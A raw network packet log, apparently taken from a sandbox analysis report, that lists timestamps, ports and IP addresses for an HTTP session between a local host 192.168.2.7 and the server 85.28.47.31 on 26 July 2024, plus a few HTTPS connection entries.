Jul 26, 2024 08:57:40.303942919 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.303960085 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.303960085 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.303997040 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.304919958 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.304934978 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.304949045 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.304964066 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.304977894 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.304979086 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.304979086 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.304991961 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.304994106 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.305006027 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305021048 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305035114 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305037975 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.305051088 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.305052042 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305099010 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.305099010 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.305699110 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305715084 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305730104 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305743933 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305758953 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305761099 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.305761099 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.305773973 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305788994 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.305788994 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305804014 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305819035 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305828094 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.305828094 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.305831909 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.305864096 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.305910110 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.306607008 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.306622982 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.306637049 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.306652069 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.306664944 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.306667089 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.306667089 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.306679964 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.306694984 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.306696892 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.306710005 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.306724072 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.306726933 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.306739092 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.306771994 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.306771994 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.306840897 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.307476044 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.307492018 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.307504892 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.307518959 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.307522058 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.307533026 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.307545900 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.307558060 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.307591915 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.382052898 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.382117987 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.382241964 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.382257938 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.382277012 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.382293940 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.382296085 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.382313967 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.382344961 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.382344961 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.383615971 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.383676052 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.383691072 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.383698940 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.383722067 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.383733988 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.386111021 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.386178017 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.386181116 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.386193991 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.386226892 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.386254072 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.386348963 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.386363983 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.386411905 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.386411905 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.387142897 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.387195110 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.387229919 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.387229919 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.387325048 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.387340069 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.387353897 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.387384892 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.387384892 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.387454987 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.387459040 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.387500048 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.387598991 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.387614012 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.387628078 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.387641907 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.387656927 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.387658119 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.387658119 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.387711048 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.387711048 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.388071060 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388086081 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388099909 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388119936 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388127089 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.388135910 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388150930 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388165951 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388180017 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388180017 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.388180017 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.388195038 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388207912 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.388209105 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388225079 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388257027 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.388257027 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.388283014 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.388894081 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388910055 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388923883 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388938904 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388952017 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388956070 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.388966084 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388979912 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.388981104 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.388994932 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389008999 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389022112 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389023066 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.389023066 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.389038086 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389053106 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389054060 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.389064074 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.389130116 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.389693975 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389708996 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389723063 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389736891 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389750957 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389758110 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.389765978 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389780045 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389794111 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389806986 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389815092 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.389815092 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.389822006 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389837027 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389842987 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.389842987 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.389851093 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389864922 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.389997005 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.389997005 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392222881 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392239094 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392252922 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392267942 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392283916 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392297029 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392297983 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392313004 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392327070 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392328024 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392342091 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392354965 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392369986 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392385960 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392406940 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392410040 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392410040 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392421007 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392435074 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392436028 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392450094 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392463923 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392468929 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392468929 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392477989 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392498970 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392498970 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392513990 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392522097 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392533064 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392546892 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392555952 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392570019 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392582893 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392582893 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392582893 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392597914 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392611980 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392625093 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392635107 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392635107 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392638922 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392652988 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392664909 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392710924 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392710924 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392724037 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392738104 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392760038 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392775059 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392777920 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392777920 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392787933 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392800093 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392802000 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392816067 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392826080 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392831087 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392843962 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392862082 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392868042 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392868042 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392875910 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392890930 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392904043 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.392930031 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.392930031 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.393001080 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.393403053 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.393419027 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.393433094 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.393446922 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.393460035 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.393460035 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.393460989 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.393476963 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.393503904 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.393503904 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.393526077 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.457355976 CEST	49724	443	192.168.2.7	94.245.104.56
Jul 26, 2024 08:57:40.457379103 CEST	443	49724	94.245.104.56	192.168.2.7
Jul 26, 2024 08:57:40.458348989 CEST	49727	443	192.168.2.7	216.58.206.46
Jul 26, 2024 08:57:40.458360910 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:40.469703913 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.469763041 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.469769955 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.469785929 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.469801903 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.469825029 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.469825029 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.469887972 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.469911098 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.469927073 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.469943047 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.469957113 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.469990969 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.469990969 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.471065998 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.471111059 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.471115112 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.471131086 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.471170902 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.471170902 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.471257925 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.471273899 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.471288919 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.471302986 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.471313953 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.471313953 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.471333027 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.471349001 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.474777937 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.474834919 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.474860907 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.474877119 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.474921942 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475024939 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475040913 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475055933 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475071907 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475092888 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475092888 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475176096 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475270033 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475286007 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475301981 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475317001 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475317955 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475337029 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475351095 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475367069 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475369930 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475369930 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475414991 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475415945 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475579977 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475594044 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475608110 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475621939 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475634098 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475634098 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475636005 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475651979 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475660086 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475666046 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475687027 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475703001 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475711107 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475712061 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475718021 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475733995 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475749969 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475752115 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475752115 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475764036 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475778103 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475792885 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475806952 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475810051 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475810051 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475826025 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.475832939 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.475894928 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.476468086 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476490974 CEST	80	49709	85.28.47.31	192.168.2.7
